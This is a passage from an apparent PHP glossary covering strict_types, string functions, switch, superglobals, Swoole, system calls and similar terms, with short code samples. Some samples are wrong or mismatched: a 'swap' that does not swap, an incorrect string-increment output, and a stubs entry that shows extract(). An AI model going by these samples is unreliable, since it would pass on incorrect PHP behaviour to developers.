===and!==instead of equality operators==and!=. Strict comparison checks both value and type, bypassing type juggling. Thematchexpression and the third parameter ofin_array()also operate in strict mode. - Gradual type checking: the type system is optional and enforced at runtime.
strict_typestightens enforcement within a file but does not affect calls coming from other files. This is distinct from compile-time strict type systems found in statically typed languages.
<?php
declare(strict_types=1);
// strict_types: TypeError, no silent cast
function square(int $n): int { return $n * $n; }
// strict comparison: false, different types
var_dump(0 === false);
// strict in_array: false, '1' !== 1
var_dump(in_array('1', [1, 2, 3], true));
?>
See Also
Related
- strict_types
- Strict Comparison
- Type Checking
- Relaxed Comparison
- Type Juggling
- in_array()
- Match
- Gradual Type Checking
strict_types
strict_types is an execution directive, that makes PHP more strict when applying the types. In particular, it doesn’t cast scalar values automatically, but raise an error.
strict_types is an option per file, and is set with the declare() function.
<?php
declare(strict_types=1);
function trumpet(int $a) {}
trumpet(1);
trumpet(1.3);
//Fatal error: Uncaught TypeError: trumpet(): Argument #1 ($a) must be of type int, float given,
?>
See Also
- PHP strict_types
- The way declare(strict_types=1) works in PHP
- What is PHP’s declare(strict_types=1); and why you should use it
- PHP RFC: Unify PHP’s typing modes (aka remove strict_types declare)
Related
- Type System
- declare()
- __toString() Method
- Type Checking
- Type Coercion
- Strict
- Type System
- Type Widening
String Increment
String increment is the PHP feature that applies the ++ pre- and post-increment operators on non-numeric strings.
These strings last character’s ASCII code is incremented by one, with possible extension of the string when the letters reach z and Z.
This feature, when based on ++ is deprecated, and shall be removed in version 9. It has been replaced by the str_increment() function, which has the same feature, though not implicit in the engine anymore. It is also extended with It has been replaced by the str_decrement().
A deprecation message is active since PHP 8.3.
There is no such feature as string decrement.
<?php
$s = 'y';
echo ++$s; // z
echo ++$s; // aa
echo ++$s; // ab
$s = 'Y';
echo ++$s; // Z
echo ++$s; // AA
echo ++$s; // AA
?>
See Also
Related
- Increment
- Decrement
- String
- American Standard Code for Information Interchange (ASCII)
- Type Juggling
- Deprecation
String Interpolation
String interpolation is a feature where variables inside a string are dynamically replaced by their value at execution time.
There are several ways to do interpolation:
- Use double-quotes and a variable
- Use double-quotes and a property or an array with a valid index
- Use curly braces with a variable
- Use dollar and curly-braces: it calls the variable whose name is dynamically calculated in the curly braces. This syntax is deprecated in version 8.2 and later.
Double quotes and Heredoc notation allow string interpolation. On the other hand, single quotes and nowdoc forbid interpolation. Then, escaping the special characters such as $ and { with \\\\ also disables interpolation locally.
Interpolation happens inside strings, while concatenation happens between strings.
<?php
$world = 'world';
// This is an interpolated string
$string = "Hello $world";
// This is not an interpolated string
$string = 'Hollow $world';
?>
See Also
- PHP String Interpolation in 2026: Examples, Curly Braces, Heredoc, and PHP 8.2 Notes
- PHP 8.2: string interpolation deprecated
- PHP String Interpolation - Complete Tutorial with Examples
Related
String
A string is series of characters, where a character is the same as a byte. This means that PHP only supports a 256-character set, and hence does not offer native Unicode support.
<?php
$string = 'Hello world';
?>
See Also
Related
- Stringable
- Single Quotes Strings
- Double Quotes Strings
- Magic Methods
- sprintf
- Concatenation \.
- Curly Brackets
- Format
- Heredocs
- Interpolation
- Nowdocs
- String Interpolation
- Case Sensitivity
- Negative Index
- Scalar Types
- printf()
- BackedEnum
- Callbacks
- Empty String
- PHP Natives
- Escape Character
- file_get_contents()
- Offset
- Text
- Slug
- String Increment
- strtolower()
- strtoupper()
- Operators
- PHP_EOL
- Regular Expression
- str_replace()
- strtr()
Related packages
Stringable
stringable is a type, which represents data that may be used as a string: either a string, a heredoc or a string constant; or an object which has the __toString() method.
Stringable is automatically added to any class and subclasses that has the __toString() method, though it is recommended to add it explicitly.
<?php
function trumpet(Stringable $s) {
print $s;
}
class Elephpant implements Stringable {
function __toString() {
return __METHOD__;
}
}
trumpet('foo'); // foo
trumpet(new Elephpant()); // Elephpant::__toString
?>
See Also
Related
strlen()
strlen() returns the number of bytes in a string, not the number of characters it displays as.
For a plain ASCII string, bytes and characters are the same thing, so strlen() gives the expected result. For a string encoded in UTF-8 or another multibyte encoding, a single displayed character can occupy several bytes, so strlen() returns a larger number than the count of characters a person would see on screen; mb_strlen() counts characters instead, using the encoding it is given.
strlen() runs in constant time on a well-formed PHP string, because the length is stored alongside the bytes rather than computed by scanning them, which is one of the reasons it stays cheap to call even on very large strings.
<?php
echo strlen('hello'); // 5
echo strlen('héllo'); // 6, é is 2 bytes in UTF-8
echo mb_strlen('héllo'); // 5, characters not bytes
?>
Related
Strpos() Syndrome
The strpos() syndrome is a classic bug: strpos() searches for a string inside another string. It reports its index upon finding it, or false, if the string was not found.
PHP’s string are indexed starting with 0, so the found string might be in an index from 0 to the size of the string.
PHP also cast 0 to false. And false is also the value that is returned when the string is not found. So, if the found string is at the very beginning of the searched string, it might be confused for its absence.
To avoid confusion, it is recommended to make an explicit comparison with false, using === or !==.
Note that many PHP native functions behave that way, and should be treated with the same precaution.
In the case of strpos(), it may be replaced with str_contains(), since PHP 8.0, or a regex, to get safer results.
<?php
$haystack = 'abcdef';
if (strpos($haystack, 'b')) {
print "The haystack contains a 'b'\n";
}
if (strpos($haystack, 'a')) {
print "The haystack contains an 'a'\n";
} else {
print "The haystack doesn't contain an 'a'\n";
}
?>
See Also
Related
strpos
strpos() is a built-in PHP function that finds the position of the first occurrence of a string inside another string.
It is often used to check if a string contains another string. When the presence of the string is the main goal of the check, it is advantageously replaced by str_contains(), str_starts_with() or str_ends_with(). Otherwise, this function is prone to the strpos() syndrome, a classic PHP trap.
strpos() has a case-insensitive version called stripos().
<?php
if(strpos('abc', 'b')) {
print "The string contains a `b`.";
}
// Error! 'a' is at position 0, which is confused with false
if(strpos('abc', 'a')) {
print "The string contains a `b`.";
}
// This is OK
if(strpos('abc', 'a') !== false) {
print "The string contains a `b`.";
}
?>
See Also
Related
- Strpos() Syndrome
- Identical Operator
- str_contains()
- str_starts_with()
- str_ends_with()
- Case Sensitivity
- fnmatch()
strtolower()
strtolower() converts all ASCII alphabetic characters in a string to lowercase.
It only handles the 26 ASCII letters, from A to Z. Characters outside the ASCII range, such as accented letters or characters from non-Latin scripts, are not converted. For Unicode-aware lowercase, use mb_strtolower(), which respects the encoding of the string.
strtolower() is commonly used when comparing strings in a case-insensitive manner, building slugs, or normalising input.
<?php
echo strtolower('Hello World'); // hello world
echo strtolower('PHP 8.4'); // php 8.4
// Unicode-aware version
echo mb_strtolower('Héllo', 'UTF-8'); // héllo
?>
See Also
Related
strtoupper()
strtoupper() converts all ASCII alphabetic characters in a string to uppercase.
It only handles the 26 ASCII letters, from a to z. Characters outside the ASCII range are not converted. For Unicode-aware uppercase, use mb_strtoupper(), which respects the string encoding.
strtoupper() is used for display normalisation, case-insensitive comparisons, and formatting constants or labels.
<?php
echo strtoupper('hello world'); // HELLO WORLD
echo strtoupper('php 8.4'); // PHP 8.4
// Unicode-aware version
echo mb_strtoupper('héllo', 'UTF-8'); // HÉLLO
?>
See Also
Related
strtr()
strtr() is a PHP native function that translates characters or replaces substrings in a string.
It has two signatures. With three arguments, strtr($string, $from, $to), it replaces each character found in $from with the character at the same position in $to. Both strings must have the same length; extra characters in the longer one are ignored.
With two arguments, strtr($string, $replace_pairs), it takes an array mapping substrings to their replacements. Unlike str_replace(), strtr() replaces the longest matching keys first and does not rescan replaced text, which avoids double substitutions.
strtr() is often faster than multiple chained str_replace() calls when doing several substitutions at once.
<?php
echo strtr('Hello World', 'ol', '0L'); // HeLL0 W0rLd
$trans = ['Hello' => 'Hi', 'World' => 'Earth'];
echo strtr('Hello World', $trans); // Hi Earth
// Longest keys are matched first
$trans = ['a' => 'X', 'ab' => 'Y'];
echo strtr('ab', $trans); // Y, not XB
?>
See Also
Related
Struct Type
A struct is a value type that groups named fields together, as in C, Go, Rust, or Swift. Unlike a class instance in most object-oriented languages, a struct value is typically copied by value on assignment or when passed to a function, is allocated inline rather than behind a pointer, and carries no built-in identity or inheritance: two struct are simply equal when their fields are equal.
struct are commonly used for small, self-contained data, such as a two dimension point or an RGB color, where the overhead of heap allocation and reference semantics would be wasted.
PHP has no struct type. Every class instance is a heap-allocated object with reference semantics: assigning an object to a new variable, or passing it to a function, copies the reference, not the object’s contents, so mutations through one variable are visible through the other. A PHP class can imitate the field-grouping role of a struct, but not its value semantics; achieving copy-on-assign behavior requires implementing __clone() and calling it manually, or declaring the class readonly.
The closest notion of a struct type is stdClass which is an empty class, with dynamic properties without type, which may be populated at will, or an array: both notions are actually accessible to the other with casting.
<?php
class Point {
public function __construct(public float $x, public float $y) {}
}
$a = new Point(1.0, 2.0);
$b = $a; // copies the reference, not the object
$b->x = 99.0; // also changes $a->x: PHP objects have reference semantics
?>
See Also
Related
Structural Pattern Matching
Structural pattern matching, found in Rust, Haskell, Scala, and OCaml, matches a value against a shape that mirrors the value’s own structure, and simultaneously binds the pieces it finds to new variables. A pattern such as Some(Point { x, y }) both checks that the value is the Some case of an option, wrapping a Point, and extracts x and y in a single step; matches are typically checked exhaustively by the compiler, which rejects code that omits a possible case.
This differs from plain destructuring, which only extracts values assuming the shape is already known to match, and from PHP’s own match expression, which compares a scalar subject against literal values or ranges, but cannot look inside a value’s structure or bind its sub-parts.
PHP has no structural pattern matching: it is in the works for a future version, possibly PHP 9.0. The match expression compares a value with === against a flat list of candidates; it cannot descend into an array’s or object’s fields, cannot bind sub-values to variables as part of the comparison, and enforces no exhaustiveness over a class hierarchy or enum’s cases beyond throwing UnhandledMatchError at runtime for unmatched inputs. Extracting values still requires a separate destructuring step, such as list assignment, done after the fact and unconditionally.
<?php
// match() compares scalars; it cannot destructure $shape's fields.
$area = match (true) {
$shape instanceof Circle => M_PI * $shape->radius ** 2,
$shape instanceof Rectangle => $shape->width * $shape->height,
default => throw new UnhandledMatchError('unknown shape'),
};
?>
See Also
Related
Structural Typing
Structural typing is a type-compatibility rule under which a value satisfies a type purely because it exposes the required shape: the same methods and properties, with compatible signatures, regardless of its declared name or inheritance chain. It contrasts with nominal typing, where compatibility is decided by an explicit declaration, such as implements or extends.
Languages such as TypeScript, Go, and OCaml use structural typing: any object or structure that happens to define the required methods satisfies an interface, whether or not it was ever declared to implement it.
PHP’s type system is nominal: a class only satisfies an interface if it explicitly declares implements InterfaceName, even when it already defines every required method with a compatible signature. PHP performs no structural compatibility check between classes. The closest PHP comes to structural typing is duck typing at runtime, where code calls a method on any object without checking its declared type, and lets a fatal error occur if the method turns out to be missing.
<?php
interface Greeter {
public function greet(): string;
}
class Person {
// Same shape as Greeter, but does not implement it.
public function greet(): string {
return 'Hello';
}
}
function sayHello(Greeter $g) {
echo $g->greet();
}
sayHello(new Person()); // Fatal error: Person does not implement Greeter
?>
See Also
Related
Structure
A structure is a complex data or processing routine, such as a class, trait, interface, function, enumeration.
Structure is an umbrella term to cover all the elements that have a definition, and are used somewhere else in the code. The usage may be name based, or anonymous.
<?php
function trumpet() { echo __METHOD__; }
trumpet();
?>
See Also
- Understanding All Relations Between Classes, Interfaces, Traits, and Enums in PHP
- The difference between Traits, Interfaces, and Abstract Classes in PHP
Related
Stubs Files
Stubs files are PHP code, that contains only the definitions of classic PHP structures. Functions, constants, classes, interfaces, are defined, without any actual code in their body. They provide the definitions and signatures, in particular for type analysis or static code analysis reviews.
Stubs files are also used for PHP code templates: they are mostly made of PHP code, with placeholders, for later generations.
<?php
$a = 0; // $a is getting overwritten
$array = extract(['a' => 1, 'b' => 2]);
echo $a + $b; // 2
?>
See Also
Related
Related packages
Sub (prefix)
sub is a prefix, that is added to existing structure, to express that they are depending on a larger similar structure, which acts as a parent
It applies to several concepts:
- Subclasses: classes that extends another class
- Subnamespaces: a namespace that share a prefix with another one
While sub- is a generic prefix, it is not applied to every possible words, as they are seldom used. It may still produce neologisms, which sound funny, but may become mainstream. For example, a sub-interface makes sense, but is not used; a sub-trait makes no sense.
<?php
namespace A { }
// this is a subnamespace
namespace A\B { }
?>
See Also
Related
Subclass
A subclass is a class that extends another class. It is also called a child of that class.
Subclasses have the same features than any other class, besides the extension.
<?php
class Elephpant {}
// this is a subclass
class Calf extends Elephpant {}
?>
See Also
Related
Subnamespaces
In PHP, there is no such notion as subnamespaces. There are namespaces, which may share the same prefix than other namespaces: yet, any collaboration stops at the similarity level.
In particular, the fallback mechanisms for functions applies to the current namespace, and then, the global, rather than any intermediate namespace.
The analogy between PHP namespaces and a file system does not applies to subnamespaces.
<?php
// also known at the global namespace
namespace {
function trumpet() {}
}
namespace Herd {
function trumpet() {}
}
// sometimes refered to as subnamespace
namespace Herd\Waterhole {
// This calls the global namespace definition,
// not the one in Herd
trumpet();
}
?>
See Also
Related
substr()
substr() is a PHP native function that extracts a portion of a string, starting at a given position, for an optional given length.
A negative start counts from the end of the string, rather than the beginning. A negative length stops the extraction that many characters before the end of the string, rather than counting a number of characters to keep.
When start is beyond the length of the string, or length resolves to zero or a negative amount that consumes the whole remaining string, substr() returns an empty string, since PHP 8.0; before, it could return false.
substr() is byte-oriented: it counts bytes, not characters, which corrupts multi-byte strings such as UTF-8. mb_substr() should be used instead, whenever the string may contain non-ASCII characters.
<?php
substr('Hello World', 6); // 'World'
substr('Hello World', 0, 5); // 'Hello'
substr('Hello World', -5); // 'World'
substr('Hello World', 0, -6); // 'Hello'
substr('Hello', 10); // '' (PHP 8+; was false before)
// byte-oriented: mangles multi-byte characters
substr('héllo', 0, 2); // 'h' followed by half of the 'é' byte sequence
mb_substr('héllo', 0, 2); // 'hé'
?>
See Also
Related
subtype
A subtype is any of the child types. It is the classes that extend the target class, with the extends keyword; it also covers all the classes that are subtypes of that child class.
The opposite is supertype.
<?php
// Aparent is a supertype of AChild
class Aparent extends Agrandparent {}
class Achild extends Aparent{}
// Agrandchild is a subtype of AChild
class Agrandchild extends Achild {}
// These are not subtype of AChild
class ABrother extends Aparent{}
class ASister extends Aparent{}
?>
See Also
Related
Suffix
A suffix is a word extension, placed after the name.
In linguistics, suffixes change the meaning of the word, and give it a new built meaning, based on the meanings of the word and the prefix. For example, connectable is built with connect which means connect, and able which signals that an operation is possible. Connectable, while not an actual English word, is the ability of an application to accept connections.
Suffixes are used for convention, where classes signals their type with a suffix.
Controller: a web controllerEnum: an enumerationInterface: an interface, and, sometimes, an abstract class- Etc.
A similar notion is the prefix, which is located at the beginning of the word. Another way to create word is word combination.
See Also
Related
Sum Type
A sum type is a type whose value is exactly one of a fixed set of cases, where each case may carry a different payload. It is the OR half of algebraic data types, as distinct from product types which represent AND.
In Haskell: data Shape = Circle Double | Rectangle Double Double. In Rust: enum Shape { Circle(f64), Rectangle(f64, f64) }. In each language the case name acts as a tag, and the type system tracks which case is active, enabling exhaustive, type-safe dispatch.
PHP union types, such as int|string, share the OR semantics but are not true sum types: they carry no tag, they do not associate different payloads with different arms, and match cannot decompose them structurally. PHP enums without backing are the closest PHP equivalent for pure tag-only sum types, but they cannot attach variant-specific associated data.
The standard PHP workaround is a sealed class hierarchy: an abstract base class with one concrete subclass per variant, each holding its own fields. instanceof checks and match on class strings approximate discriminated dispatch, but the compiler does not enforce exhaustiveness.
PHP does not support sum types.
<?php
// PHP workaround: sealed class hierarchy as a sum type approximation
abstract class Shape {}
final class Circle extends Shape {
public function __construct(public readonly float $radius) {}
}
final class Rectangle extends Shape {
public function __construct(
public readonly float $width,
public readonly float $height,
) {}
}
function area(Shape $shape): float {
return match (true) {
$shape instanceof Circle => M_PI * $shape->radius ** 2,
$shape instanceof Rectangle => $shape->width * $shape->height,
// PHP will not warn if a new subclass is added and not handled here
};
}
?>
See Also
Related
- Algebraic Data Type
- Generalized Algebraic Data Type (GADT)
- Union Type
- Enumeration (enum)
- Backed Enum
- Pattern Matching
- Match
- instanceof
- Sealed Class
- Exhaustiveness
- Option Type
- Result Type
- Structural Pattern Matching
Sunsetting
Sunsetting a feature is a period of deprecation, where the feature is still available, but is not recommended for usage. It is also displaying a warning message to alert of the disappearance, and offers alternatives.
<?php
//Deprecated: trumpet(): Implicitly marking parameter $i as nullable is deprecated, the explicit nullable type must be used instead
function trumpet(int $i = null) {}
#[Deprecated]
function trample(int $i = null) {}
?>
See Also
Related
Superglobal Variables
PHP superglobal variables are predefined variables that are accessible from any scope within a PHP script without the need for any special syntax or function calls. These variables are called ‘superglobals’ because they are automatically available in all scopes, including functions, methods, and the global scope.
PHP provides several superglobal variables, each serving a specific purpose. Here are the most commonly used ones:
$_SERVER: contains information about the server and execution environment, such as headers, paths, and script locations$_GET: holds the values of variables passed to the current script via the URL parameters, HTTP GET method$_POST: stores the values of variables sent to the current script via HTTP POST method, usually from an HTML form$_REQUEST: contains the values of both $_GET, $_POST, and $_COOKIE variables, providing a convenient way to access user input data$_COOKIE: holds the values of cookies sent by the client browser to the server$_SESSION: stores and retrieves session variables, which are used to persist data across multiple requests from the same user$_FILES: contains information about uploaded files through an HTML form withenctype=\multipart/form-data$_ENV: holds variables passed to the PHP script from the server’s environment.
PHP superglobal variables are also called auto-global, as they are implicitly global, without using the global keyword.
<?php
global $trunk;
$trunk = "A";
function counter() {
echo $GLOBALS['A'];
}
foo();
?>
See Also
Related
- Variables
- Session
- Static Variables
- Variable Variables
- Global Variables
- Local Variable
- $_ENV
- global Scope
- PHP Constants
- PHP Variables
supertype
A supertype is any of the parent types. It is the class that is extended, in a class definition, with the extends keyword; it also covers all the classes that are a supertype of that parent class.
The opposite is subtype.
<?php
// Agrandparent is a supertype of AChild
class Agrandparent {}
// Aparent is a supertype of AChild
class Aparent extends Agrandparent {}
class Achild extends Aparent{}
// These are not supertype of AChild
class ABrother extends Aparent{}
class ASister extends Aparent{}
?>
See Also
Related
Supply Chain Attack
Supply Chain Attack is a security attack that uses dependencies to infect a program.
Modern applications are built on top of components which are fetched from central repositories. In the PHP world, composer is the most popular PHP repository.
When those external repositories are infected with malicious component or code, the dependency manager loads them like the rest of the code. Blind trust in the imported code lead to vulnerabilities.
See Also
- PHP Supply Chain Attack on Composer
- Supply Chain Security in PHP Projects
- Packagist PHP repo supply chain attack: 3 key takeaways
- An Update on Composer & Packagist Supply Chain Security
- The Quiet Shift Reshaping PHP Security
Related
- Supply Chain
- Software Bill Of Material (SBOM)
- Poisoned Pipeline Execution (PPE)
- Attack Surface
- Least Privilege Principle
- Multi-Factor Authentication (MFA)
- Typosquatting
Supply Chain
The supply chain is the set of components, libraries, tools and processes that are used to build an application.
- The application source code, including version management
- The component dependencies, such as
composer.json - The build and development tools, such as unit test, static analysis…
- CI pipelines
- Production environment, such as PHP, extensions, virtualization…
- External services, databases, APIs, cloud providers…
See Also
Related
Surrogate Key
A surrogate key is a primary key column with no meaning outside the database. It exists purely to identify a row, not to represent a business fact. An auto-increment integer, a UUID, or a ULID used as a primary key are all surrogate keys. They are opposed to natural keys, values such as an email address, a national ID, or an ISBN, that already have meaning in the domain and would otherwise be used to identify the row.
Surrogate keys are preferred in most schema because natural keys can change, can turn out not to be as unique as assumed, and are often composite or of variable length, all of which make joins and indexes slower and migrations riskier.
A related but distinct usage, common in APIs, is to add a second surrogate column purely for public exposure: the internal auto-increment integer stays the primary key and drives foreign-key relations, while a separate UUID, ULID, or an obfuscated value such as a Sqid is exposed in URLs and API responses. This keeps the compact integer for indexing while avoiding the enumeration and information-leak risks of publishing sequential IDs.
<?php
// Doctrine migration: surrogate primary key plus a public-facing surrogate column
$table->addColumn('id', 'integer', ['autoincrement' => true]);
$table->setPrimaryKey(['id']);
$table->addColumn('public_id', 'guid'); // exposed in the API instead of 'id'
?>
See Also
Related
- Primary Key
- Auto-Increment
- Unique Identifier
- Universally Unique IDentifier (UUID)
- Universally Unique Lexicographically Sortable Identifier (ULID)
- Sqids
- Database
Scalable Vector Graphics (SVG)
SVG, for Scalable Vector Graphics, is an XML-based format for two-dimensional vector graphics. Unlike raster formats, such as PNG or JPEG, SVG graphics scale to any size without loss of quality because they are described mathematically rather than as a grid of pixels.
SVG files can be embedded directly in HTML, served as standalone files, or generated programmatically. PHP can produce SVG output by writing XML strings or by using the DOM extension to build the SVG document tree.
SVG is widely used for icons, charts, diagrams, logos, and any graphic that must look sharp on high-density screens.
<?php
header('Content-Type: image/svg+xml');
echo '<?xml version="1.0" encoding="UTF-8"?>';
echo '<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">';
echo '<circle cx="50" cy="50" r="40" fill="steelblue" />';
echo '</svg>';
?>
See Also
Related
- Extensible Markup Language (XML)
- HyperText Markup Language (HTML)
- Document Object Model (DOM)
- Image
- Injection
Support Vector Machine (SVM)
SVM stands for Support Vector Machine. It is the name of a machine learning algorithm which classify data by taking into account n dimensions.
The algorithm looks for a way to distinguish two sets, by using those nth dimensions.
PHP supports SVM with the ext/svm extension and rubix/ml package.
This acronym is easy to confuse with SVN, which is a source control software.
See Also
Related
Related packages
SVMException
The SVMException exception is thrown by the SVM::train() method. It happens when the model could not be trained. More generally, SVMException is the error class used throughout the svm extension, which provides PHP bindings to the libsvm library for support vector machine classification and regression. It can also be thrown by other methods, such as SVM::crossvalidate(), SVMModel::load(), or SVMModel::save(), typically because of malformed training data, invalid kernel or cost parameters, or file I/O failures.
<?php
$svm = new SVM();
try {
$model = $svm->train($data);
} catch (SVMException $e) {
print $e->getMessage();
}
?>
See Also
Related
SVN
SVN, or Subversion, is a version control system, VCS, used for managing and tracking changes to files and directories in software development and other collaborative environments. It allows multiple users to work on the same set of files, keeping track of changes, and maintaining a history of who made what changes and when. Subversion is commonly used for source code management, but it can also be used for versioning other types of documents and data.
Related
- Concurent Version System (CVS)
- Support Vector Machine (SVM)
- VCS Commit
- Version Control System (VCS)
- hg
Swagger
Swagger is a toolset for designing, documenting, and consuming REST APIs. The underlying specification is now published as the OpenAPI Specification, aka OAS, while the Swagger brand covers the surrounding ecosystem of tools.
Swagger documentation is typically generated from source code using annotations or attributes. Libraries such as zircote/swagger-php parse docblocks or PHP 8 attributes and emit a openapi.json or openapi.yaml file that conforms to the OpenAPI standard. The Swagger UI then renders that file as interactive, browser-based API documentation.
OpenAPI documents describe endpoints, request parameters, response schema, authentication schemes, and examples. They can also drive code generation, contract testing, and mock servers.
<?php
use OpenApi\Attributes as OA;
#[OA\Info(title: 'My API', version: '1.0.0')]
class ApiInfo {}
class UserController
{
#[OA\Get(
path: '/users/{id}',
summary: 'Fetch a single user',
tags: ['Users'],
parameters: [
new OA\Parameter(name: 'id', in: 'path', required: true, schema: new OA\Schema(type: 'integer'))
],
responses: [
new OA\Response(response: 200, description: 'User found'),
new OA\Response(response: 404, description: 'User not found'),
]
)]
public function show(int $id): JsonResponse {}
}
?>
See Also
Related
Related packages
Swap
Swap have several meanings.
- Memory, when it is stored on the disk.
- The operation to exchange two things, one for another. For example, variable swap, which exchange their value.
<?php
// simple swap technique :
// list and array are used for readability
list($a, $b) = array($a, $b);
// modern version
[$a, $b] = [$a, $b];
?>
See Also
Related
Switch Case
A switch case, also called case, is an option in a switch() or a match() expression.
In a switch(), several cases may be used in a row, to apply the same code. This is not possible with match().
In a switch(), the case’s code is executed until the end of the switch(), or a break command. A case that uses its own code, and the following case’s code is called a fallthrough.
There is a default case, which is called when all other cases fail.
In the event of multiple identical cases, the first one is used. PHP adapts the type of the values while looking for the right case.
<?php
switch($trunk) {
case 'a':
case 'c':
$a = 1;
// fall through
case 'b' :
$a =2;
break 1;
// default case, when $trunk is not 'a' 'b' or 'c'
default :
$a = 3;
}
?>
See Also
Related
Switch Default
A switch default, also called default, is the catch-all option in a switch() or a match() expression.
In a switch(), the default case may be stacked with other cases, to apply the same code. This is not possible with match().
<?php
switch($trunk) {
case 'a':
default:
$a = 1;
// fall through
case 'b' :
$a =2;
break 1;
}
?>
See Also
Related
Switch
The switch expression branches evaluation based on an equality check of a value. It also handles a default case, when none of the explicit cases match.
Each case is an expression, and shall be used that way.
switch use a relaxed comparison between the parameter value and the case values. This means that some type juggling happens, and some literals might behave as identical.
<?php
$b = 1;
switch ($i) {
case 0:
echo 'i equals 0';
break;
case 1:
echo 'i equals 1';
break;
case $b + 1:
echo 'i equals '.($b + 1);
break;
default:
echo 'i is none of the expected values.';
}
switch (false) {
case null:
// false == null so this is the case
echo 'This is null';
break;
case '':
echo 'This is empty string';
break;
default:
echo 'This is none of the expected values.';
}
?>
See Also
Related
- Match
- Default
- Strict Comparison
- Simple Switch
- If Then Else
- Break
- Case
- Comparison
- Conditional Structures
- Control Flow
- Relaxed Comparison
- Semicolon ;
- Switch Case
- Switch Default
- Feature Flag
Swoole
Swoole is a PIE extension that turns PHP into an event-driven, asynchronous, coroutine-capable runtime, replacing the traditional process-per-request model with long-running server processes that handle HTTP, WebSocket, TCP, and UDP connections directly, without a separate web server such as Nginx or PHP-FPM in front.
Under Swoole, blocking calls, such as a MySQL query, a Redis command, or a file read, are automatically rewritten by the extension into non-blocking, coroutine-yielding operations, so a single worker process can serve thousands of concurrent connections without threads: while one coroutine waits on I/O, the scheduler runs another. This is the same underlying model used by OpenSwoole, a community fork created after a licensing dispute; the two projects share most of their API.
Because the server process persists across requests, application state that would normally be reset on every request, such as static properties, database connections, and included files, must be deliberately managed to avoid leaking between requests, which is the main adjustment required when porting a traditional PHP application to Swoole.
<?php
$server = new Swoole\Http\Server('0.0.0.0', 9501);
$server->on('request', function ($request, $response) {
$response->header('Content-Type', 'text/plain');
$response->end('Hello from Swoole' . PHP_EOL);
});
$server->start();
?>
See Also
Related
- OpenSwoole
- Coroutine
- Fibers
- Green Thread
- Asynchronous
- Parallel
- Asynchronous Markup Protocol (AMP)
- Gearman
- ReactPHP
- Worker
Symbolic Analysis
Symbolic analysis, also called symbolic execution, is a static analysis technique that executes a program with symbolic values instead of concrete inputs. Rather than tracking the actual runtime value of a variable, it tracks a symbolic expression that describes all possible values the variable could hold.
As the analysis follows each branch in the control flow graph, it accumulates a path condition: a logical formula that describes the constraints on the symbolic inputs that would cause execution to reach that point. A constraint solver, SAT or SMT solver, is then used to check whether the path condition is satisfiable, and if so to produce a concrete witness input.
Applications include:
- Automated test input generation
- Finding execution paths that reach a security sink with attacker-controlled data
- Verifying the absence of certain classes of bugs along all paths
Symbolic analysis is more powerful than pattern-based or data flow analysis but is computationally expensive and suffers from path explosion in large programs.
<?php
function check(int $trunk): string {
// Symbolic analysis explores both branches and generates inputs for each
if ($trunk > 0) {
return 'positive';
}
return 'non-positive';
}
?>
See Also
Related
- Analysis
- Control Flow Analysis
- Data Flow Analysis (DFA)
- Semantic Analysis
- Pattern-Based Analysis
- Lexical Analysis
- Static Application Security Testing (SAST)
- Taint Analysis
Symfony
Symfony is a popular PHP framework: build with confidence at any scale.
Symfony is a high-performance PHP framework for building scalable, maintainable web applications and APIs. It follows the MVC, Model-View-Controller, pattern and provides reusable components, a modular architecture, and powerful tools.
See Also
Related
Related packages
Synchronous
Synchronous PHP refers to the traditional way PHP applications execute code: synchronously, or in a blocking manner. In synchronous PHP, tasks are executed sequentially, meaning that each task must finish before the next one starts.
When a PHP script encounters a blocking operation, such as a file I/O operation, a database query, or a network request, it waits until that operation completes before proceeding to the next line of code. This sequential execution model can lead to inefficiencies, especially when dealing with tasks that can be performed concurrently.
Synchronous is the default way of working for PHP.
See Also
Related
Syntax Error
A syntax error happens when the text could not be parsed into tokens by PHP. PHP would use the tokens to interpret the code, but here, the tokens are not recognizable.
Syntax error happen for a variety of reasons, which may compound one with the other:
- Unbalanced opening/closing tokens, such as parenthesis
(), brackets[], curly brackets{} - Unfinished command: the final semi colon
;was forgotten - Forgotten
), in particular when there need to be more than 2, sometimes even 1.
<?php
$a[1 = 3;
?>
See Also
Related
Syntax
Syntax refers to the set of rules that defines the structure of valid PHP code.
For example, there is the object syntax, around the -> and :: operators, and the array syntax, around [index] operator.
Syntax must be lintable for a PHP script to be executable. Otherwise, it creates a syntax error. Yet, a lintable syntax does not always mean the code is executable: it may yield an execution error. It is not always obvious which syntax is not executable.
<?php
A = B C; // syntax error, 'C' is not valid.
clone 1; // not a syntax error
$array = ['a' => 1, 'b' => 2, 'c' => 3];
echo $array['a']; // 1
$object = (object) $array;
echo $object->a; // 1
echo $object['a']; // no syntax error, error at execution
//valid syntax
function trumpet($trunk) {
print $trunk;
}
//valid call
trumpet(3);
//invalid call
trumpet([]);
?>
See Also
Related
System Call
A system call is a call to an operating system function. Those calls are done with the shell_exec(), system() and exec() functions; and the \` back tick operators.
<?php
// list files
$list = shell_exec('ls -1');
?>
See Also
Related
System Event
System events, also known as signals, are software interrupts sent to a program to indicate that an important event has occurred.
By default, PHP reacts to system events. It may also handle those events by configuring a handler the pcntl_signal() function.
See Also
Related
System
The system, or the operating system, is the environment where PHP is running. It might be Linux, MacOSX, Windows, Debian etc. The system provides specific features, such as access to the file system, or a shell to run commands.
system() is also a PHP native function, which execute a system command, and immediately display it to the standard output. It is usually recommended to use shell_exec(), which returns the results, rather than display it.
<?php
// use a system command to get the name of the underlying OS name
echo shell_exec('cat /etc/os-releaselsb_release –ahostnamectl');
// same as above
system('cat /etc/os-releaselsb_release –ahostnamectl');
?>
See Also
Related
- shell_exec()
- Back-tick
- Execution
- System Call
- Docker Container
- escapeshellarg()
- escapeshellcmd()
- Process
- Shell Injection
Tabulation
A tabulation is a whitespace character, that often represents the equivalent of four space characters.
A tabulation is represented by the escape sequence \t, in double quote strings. It is also the ASCII code 9.
Tabulations are important when formatting code, and are opposed to spaces.
Tabulations are important for heredoc syntax, in particular in its relaxed syntax.
There are horizontal tabulations, which are the most commonly used, and vertical tabulations, with the ASCII code 11 and sequence \v.
<?php
echo "\t";
echo chr(9); // ASCII code 9
?>
See Also
Related
Taint Analysis
Taint analysis is a security technique used to identify and trace potentially unsafe or untrusted data as it flows through a program. In the context of web development, taint analysis is often employed to find security vulnerabilities related to user input and data handling.
The basic idea behind taint analysis is to track and label data that originates from untrusted sources, such as user input, and then trace how this tainted data is used throughout the application. By identifying and monitoring the flow of tainted data, developers can better understand and mitigate potential security risks, such as injection attacks and other vulnerabilities.
